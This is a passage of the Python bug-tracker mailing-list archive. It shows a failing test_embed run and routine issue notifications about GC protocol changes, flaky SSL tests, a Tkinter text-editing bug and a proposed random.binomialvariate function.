'/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'prefix': '/home/alexei/????????/Python-3.9.4', 'program_name': 'python3', 'pycache_prefix': None, 'pythonpath_env': '/usr/local/lib/python39.zip:/home/alexei/????????/Python-3.9.4/Lib:/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9', 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 1, 'use_hash_seed': 0, 'user_site_directory': 1, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ====================================================================== FAIL: test_preinit_dont_parse_argv (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 907, in test_preinit_dont_parse_argv self.check_all_configs("test_preinit_dont_parse_argv", config, preconfig, File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[408 chars]'], 'xoptions': [], 'warnoptions': [], 'python[1342 chars]py']} != {'_co[408 chars]'], '_orig_argv': ['python3', '-E', '-I', '-X'[990 chars]': 0} {'_config_init': 3, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': ['python3', '-E', '-I', '-X', 'dev', '-X', 'utf8', 'script.py'], '_use_peg_parser': 1, 'argv': ['python3', '-E', '-I', '-X', 'dev', '-X', 'utf8', 'script.py'], 'base_exec_prefix': '/usr/local', - 'base_executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'base_executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'base_prefix': '/usr/local', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, 'exec_prefix': '/usr/local', - 'executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'faulthandler': 0, 'hash_seed': 0, 'home': None, 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 0, 'interactive': 0, 'isolated': 0, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/Lib', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/build/lib.linux-x86_64-3.9'], + '/home/alexei/????????/Python-3.9.4/Lib', + '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 0, 'platlibdir': 'lib', 'prefix': '/usr/local', 'program_name': './_testembed', 'pycache_prefix': None, 'pythonpath_env': None, 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 0, 'use_hash_seed': 0, 'user_site_directory': 0, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ====================================================================== FAIL: test_preinit_isolated_config (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 937, in test_preinit_isolated_config self.check_all_configs("test_preinit_isolated_config", api=API_ISOLATED) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[349 chars]'], 'xoptions': [], 'warnoptions': [], 'python[1281 chars]: []} != {'_co[349 chars]'], '_orig_argv': [], 'xoptions': [], 'warnopt[929 chars]': 0} {'_config_init': 3, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': [], '_use_peg_parser': 1, 'argv': [''], 'base_exec_prefix': '/usr/local', - 'base_executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'base_executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'base_prefix': '/usr/local', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, 'exec_prefix': '/usr/local', - 'executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'faulthandler': 0, 'hash_seed': 0, 'home': None, 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 0, 'interactive': 0, 'isolated': 1, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/Lib', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/build/lib.linux-x86_64-3.9'], + '/home/alexei/????????/Python-3.9.4/Lib', + '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 0, 'platlibdir': 'lib', 'prefix': '/usr/local', 'program_name': './_testembed', 'pycache_prefix': None, 'pythonpath_env': None, 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 0, 'use_hash_seed': 0, 'user_site_directory': 0, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ---------------------------------------------------------------------- Ran 52 tests in 12.286s FAILED (failures=5) test test_embed failed 2 tests failed again: test_embed test_tabnanny == Tests result: FAILURE then FAILURE == 2 tests failed: test_embed test_tabnanny 2 re-run tests: test_embed test_tabnanny Total duration: 26.3 sec Tests result: FAILURE then FAILURE make: *** [Makefile:1199: test] ?????? 2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 13:44:06 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 17:44:06 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621964646.42.0.255293853884.issue42972@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset d3c277a59c3d93fb92f7026f63678083d1d49fc5 by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully implement GC protocol for sqlite3 heap types (GH-26104) https://github.com/python/cpython/commit/d3c277a59c3d93fb92f7026f63678083d1d49fc5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 13:44:05 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 17:44:05 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621964645.48.0.943365393042.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24952 pull_request: https://github.com/python/cpython/pull/26361 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 13:51:45 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 May 2021 17:51:45 +0000 Subject: [issue37439] Add random.binomialvariate() In-Reply-To: <1561714089.16.0.904652961331.issue37439@roundup.psfhosted.org> Message-ID: <1621965105.96.0.00851064271798.issue37439@roundup.psfhosted.org> Gregory P. Smith added the comment: A presumed optimal version of this is already available in numpy. https://numpy.org/doc/stable/reference/random/generated/numpy.random.Generator.binomial.html https://github.com/numpy/numpy/blob/2232a473f8713f532c8164c8cf616f7bd05f54a7/numpy/random/_generator.pyx#L2805 ---------- nosy: +gregory.p.smith versions: +Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 14:01:08 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Tue, 25 May 2021 18:01:08 +0000 Subject: [issue40551] PRs should be rebased on top of master before running the build/tests In-Reply-To: <1588882193.5.0.928762641921.issue40551@roundup.psfhosted.org> Message-ID: <1621965668.41.0.00112716948011.issue40551@roundup.psfhosted.org> Change by Filipe La?ns : ---------- resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 14:08:47 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 18:08:47 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621966127.05.0.657892850674.issue42972@roundup.psfhosted.org> miss-islington added the comment: New changeset e8d9df0089e30a06d837fa2cfbd070e01531701f by Miss Islington (bot) in branch '3.10': bpo-42972: Fully implement GC protocol for sqlite3 heap types (GH-26104) https://github.com/python/cpython/commit/e8d9df0089e30a06d837fa2cfbd070e01531701f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 14:26:52 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 18:26:52 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621967212.47.0.13325782956.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24953 pull_request: https://github.com/python/cpython/pull/26362 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 14:26:56 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 18:26:56 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621967216.05.0.0436550133591.issue42972@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset bd404ccac0d3e8358995ac0cbeec9373bb6c4d96 by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully implement GC protocol for arraymodule types (GH-26114) https://github.com/python/cpython/commit/bd404ccac0d3e8358995ac0cbeec9373bb6c4d96 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 14:46:47 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 25 May 2021 18:46:47 +0000 Subject: [issue44217] Tkinter/IDLE: literal astral char discombobulates text editing In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621968407.41.0.97107543113.issue44217@roundup.psfhosted.org> Shreyan Avigyan added the comment: I executed the code Tal provided and yes both Serhiy and Tal you're right. It seems the backspace problem is related to Tcl/Tk's indexing. 1.1 and 1.2 both refer to ?. Also the dancing I told actually tells why this is happening. Since Tcl/Tk uses BMP it treats ? also as 2 bytes. Now when we move the typing cursor from right to left using arrow keys the ? gets split into ??. Notice there are two ?. So it's all coming together now. ---------- components: +Tkinter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 14:49:27 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 18:49:27 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621968567.17.0.681628067645.issue42972@roundup.psfhosted.org> miss-islington added the comment: New changeset 534da740a2586357d204ab5f446295b9ce220787 by Miss Islington (bot) in branch '3.10': bpo-42972: Fully implement GC protocol for arraymodule types (GH-26114) https://github.com/python/cpython/commit/534da740a2586357d204ab5f446295b9ce220787 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 14:53:05 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 25 May 2021 18:53:05 +0000 Subject: [issue44217] Tkinter/IDLE: literal astral char discombobulates text editing In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621968785.15.0.227982840416.issue44217@roundup.psfhosted.org> Shreyan Avigyan added the comment: Sorry, 1.0 and 1.1 refer to ? not 1.1 and 1.2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:01:40 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 20:01:40 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1621972900.08.0.698584722951.issue36384@roundup.psfhosted.org> STINNER Victor added the comment: > I think the only thing I'd improve would be to mention that this issue is the one that introduced the bug, otherwise it looks a bit weird. Ok, done: https://python-security.readthedocs.io/vuln/ipaddress-ipv4-leading-zeros.html#timeline ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:14:04 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 20:14:04 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621973644.81.0.564545081488.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24954 pull_request: https://github.com/python/cpython/pull/26363 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:19:16 2021 From: report at bugs.python.org (Eric Snow) Date: Tue, 25 May 2021 20:19:16 +0000 Subject: [issue43693] Logically merge cell and locals array. They are already contiguous in memory In-Reply-To: <1617276830.47.0.331349599371.issue43693@roundup.psfhosted.org> Message-ID: <1621973956.0.0.719522456177.issue43693@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +24955 pull_request: https://github.com/python/cpython/pull/26364 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:19:46 2021 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 25 May 2021 20:19:46 +0000 Subject: [issue37439] Add random.binomialvariate() In-Reply-To: <1561714089.16.0.904652961331.issue37439@roundup.psfhosted.org> Message-ID: <1621973986.54.0.386631364737.issue37439@roundup.psfhosted.org> Mark Dickinson added the comment: I think the NumPy implementation may be from here: https://core.ac.uk/download/pdf/11007254.pdf (though I'm struggling to find a clear citation in the NumPy source) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:27:06 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 20:27:06 +0000 Subject: [issue44237] test_ssl randomly fails on macOS GH Action: test_get_server_certificate_sni() and test_get_server_certificate_timeout() Message-ID: <1621974426.55.0.383928848705.issue44237@roundup.psfhosted.org> New submission from STINNER Victor : https://github.com/python/cpython/pull/26359/checks?check_run_id=2668874284 Error 1: 2021-05-25T20:02:41.9174160Z ====================================================================== 2021-05-25T20:02:41.9268350Z ERROR: test_get_server_certificate_sni (test.test_ssl.SimpleBackgroundTests) 2021-05-25T20:02:41.9272030Z ---------------------------------------------------------------------- 2021-05-25T20:02:41.9275950Z Traceback (most recent call last): 2021-05-25T20:02:41.9374600Z File "/Users/runner/work/cpython/cpython/Lib/test/test_ssl.py", line 2147, in test_get_server_certificate_sni 2021-05-25T20:02:41.9404170Z pem = ssl.get_server_certificate((host, port), ca_certs=SIGNING_CA) 2021-05-25T20:02:41.9483350Z File "/Users/runner/work/cpython/cpython/Lib/ssl.py", line 1520, in get_server_certificate 2021-05-25T20:02:41.9505910Z with create_connection(addr, timeout=timeout) as sock: 2021-05-25T20:02:41.9585510Z File "/Users/runner/work/cpython/cpython/Lib/socket.py", line 844, in create_connection 2021-05-25T20:02:41.9607200Z raise err 2021-05-25T20:02:41.9687730Z File "/Users/runner/work/cpython/cpython/Lib/socket.py", line 832, in create_connection 2021-05-25T20:02:41.9708730Z sock.connect(sa) 2021-05-25T20:02:41.9791030Z ConnectionRefusedError: [Errno 61] Connection refused Error 2 when test_ssl is re-run: ====================================================================== FAIL: test_get_server_certificate_timeout (test.test_ssl.SimpleBackgroundTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/runner/work/cpython/cpython/Lib/test/test_ssl.py", line 2165, in test_get_server_certificate_timeout with self.assertRaises(socket.timeout): AssertionError: TimeoutError not raised ---------- assignee: christian.heimes components: SSL, Tests messages: 394392 nosy: christian.heimes, vstinner priority: normal severity: normal status: open title: test_ssl randomly fails on macOS GH Action: test_get_server_certificate_sni() and test_get_server_certificate_timeout() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:28:19 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 20:28:19 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1621974499.16.0.672457824309.issue44232@roundup.psfhosted.org> STINNER Victor added the comment: New changeset bd199e72fb60a8ff001a023f23925092a290be91 by Victor Stinner in branch 'main': bpo-44232: Fix type_new() error reporting (GH-26359) https://github.com/python/cpython/commit/bd199e72fb60a8ff001a023f23925092a290be91 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:29:06 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 May 2021 20:29:06 +0000 Subject: [issue44237] test_ssl randomly fails on macOS GH Action: test_get_server_certificate_sni() and test_get_server_certificate_timeout() In-Reply-To: <1621974426.55.0.383928848705.issue44237@roundup.psfhosted.org> Message-ID: <1621974546.04.0.185447999159.issue44237@roundup.psfhosted.org> Christian Heimes added the comment: It looks like a duplicate or very similar to bpo-44229. ---------- dependencies: +test_get_server_certificate fails intermittently on macOS _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:28:43 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 20:28:43 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1621974523.24.0.897754235611.issue44232@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24956 pull_request: https://github.com/python/cpython/pull/26365 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:30:12 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 20:30:12 +0000 Subject: [issue44237] test_ssl randomly fails on macOS GH Action: test_get_server_certificate_sni() and test_get_server_certificate_timeout() In-Reply-To: <1621974426.55.0.383928848705.issue44237@roundup.psfhosted.org> Message-ID: <1621974612.82.0.549439500983.issue44237@roundup.psfhosted.org> STINNER Victor added the comment: > https://github.com/python/cpython/pull/26359/checks?check_run_id=2668874284 test.pythoninfo: ssl.HAS_SNI: True ssl.OPENSSL_VERSION: OpenSSL 1.1.1k 25 Mar 2021 ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 11, 15) ssl.OP_ALL: 0x80000054 ssl.OP_NO_TLSv1_1: 0x10000000 ssl.SSLContext.maximum_version: MAXIMUM_SUPPORTED ssl.SSLContext.minimum_version: TLSv1_2 ssl.SSLContext.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x80000054 ssl.SSLContext.protocol: PROTOCOL_TLS_CLIENT ssl.SSLContext.verify_mode: CERT_REQUIRED ssl.default_https_context.maximum_version: MAXIMUM_SUPPORTED ssl.default_https_context.minimum_version: TLSv1_2 ssl.default_https_context.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x80000054 ssl.default_https_context.protocol: PROTOCOL_TLS_CLIENT ssl.default_https_context.verify_mode: CERT_REQUIRED ssl.stdlib_context.maximum_version: MAXIMUM_SUPPORTED ssl.stdlib_context.minimum_version: TLSv1_2 ssl.stdlib_context.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x80000054 ssl.stdlib_context.protocol: PROTOCOL_TLS_CLIENT ssl.stdlib_context.verify_mode: CERT_NONE ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:32:21 2021 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 25 May 2021 20:32:21 +0000 Subject: [issue37439] Add random.binomialvariate() In-Reply-To: <1561714089.16.0.904652961331.issue37439@roundup.psfhosted.org> Message-ID: <1621974741.65.0.0790137304528.issue37439@roundup.psfhosted.org> Mark Dickinson added the comment: Nope, that's the wrong paper. It looks as though this is the right one, but it's hidden behind a paywall: https://dl.acm.org/doi/abs/10.1145/42372.42381 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:33:55 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 25 May 2021 20:33:55 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621974835.25.0.148052365762.issue43921@roundup.psfhosted.org> Steve Dower added the comment: I can't reproduce these on my own (Windows) machine either. Looking at the output, I think the tests are just going to be inherently flakey. It's not testing the specific scenario directly enough, and relying heavily on implicit synchronization. We probably just need a different approach to testing these. I think at the very least starting the server on the main test thread and using a helper to send the request is going to be easier to keep things in sync. But that's not going to be done in time to unblock. Skipping the test seems like an okay compromise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:37:03 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 20:37:03 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621975023.68.0.691587630287.issue43921@roundup.psfhosted.org> STINNER Victor added the comment: > Looking at the output, I think the tests are just going to be inherently flakey. It's not testing the specific scenario directly enough, and relying heavily on implicit synchronization. My notes to debug race conditions: https://pythondev.readthedocs.io/unstable_tests.html#debug-race-conditions In general, you should run the same test in a loop in many processes in parallel *and* stress the machine with a random workload. My favorite recipe: * Terminal 1: python -m test -F -j20 <... options for the test ...> * Terminal 2: python -m test -j0 -r -F Sadly, there is no silver bullet for -j20: sometimes, the machine must be "more idle" to trigger the bug (ex: -j5), sometimes the machine must almost die, be more stressed (-j100). Happy hacking! ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:39:22 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 20:39:22 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621975162.74.0.674814134239.issue43921@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Looking at the output, I think the tests are just going to be inherently flakey. It's not testing the specific scenario directly enough, and relying heavily on implicit synchronization. But 3.9 and 3.8 are not failing on test_ssl, so do something has clearly changed. Are the failing tests new? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:40:28 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 20:40:28 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621975228.1.0.218259988528.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24957 pull_request: https://github.com/python/cpython/pull/26368 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:41:54 2021 From: report at bugs.python.org (Illia Volochii) Date: Tue, 25 May 2021 20:41:54 +0000 Subject: [issue43216] Removal of @asyncio.coroutine in Python 3.11 In-Reply-To: <1613234875.25.0.783359316655.issue43216@roundup.psfhosted.org> Message-ID: <1621975314.2.0.762637340603.issue43216@roundup.psfhosted.org> Change by Illia Volochii : ---------- keywords: +patch pull_requests: +24958 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26369 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 16:42:08 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 20:42:08 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621975328.56.0.646358143596.issue43921@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Also, this seems to be reproducible in MacOS at least: https://bugs.python.org/issue44229 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:19:40 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 25 May 2021 21:19:40 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1621977580.82.0.252447476571.issue44031@roundup.psfhosted.org> Alexei S added the comment: I downloaded tar.gz of Python-3.8.9 and Python-3.9.4 into my ~/Downloads folder (~/???????? in Russian) extracted them, after that executed: chmod +x configure CXX=/usr/bin/g++ ./configure --enable-optimizations make -j4 problems the same for both Python versions ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:22:28 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:22:28 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621977748.6.0.267944758646.issue42972@roundup.psfhosted.org> Erlend E. Aasland added the comment: Christian, I've got a PR ready for Modules/_ssl.c, but I won't submit it if you'd rather do it yourself. I'll stay off the sha/md5 types unless you approve :) ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:26:26 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 May 2021 21:26:26 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621977986.96.0.774663120498.issue42972@roundup.psfhosted.org> Christian Heimes added the comment: Please open PRs and assign them to me. I'll review them as soon as possible. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:28:13 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:28:13 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621978093.29.0.903122360591.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24959 pull_request: https://github.com/python/cpython/pull/26370 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:31:49 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:31:49 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621978309.54.0.879230039998.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24960 pull_request: https://github.com/python/cpython/pull/26371 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:40:14 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:40:14 +0000 Subject: [issue42792] [MacOS] Can't open file in a separate (threading.Thread) thread In-Reply-To: <1609366097.56.0.326063377127.issue42792@roundup.psfhosted.org> Message-ID: <1621978814.36.0.67950632894.issue42792@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland nosy_count: 4.0 -> 5.0 pull_requests: +24961 pull_request: https://github.com/python/cpython/pull/26372 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:47:51 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:47:51 +0000 Subject: [issue42792] [MacOS] Can't open file in a separate (threading.Thread) thread In-Reply-To: 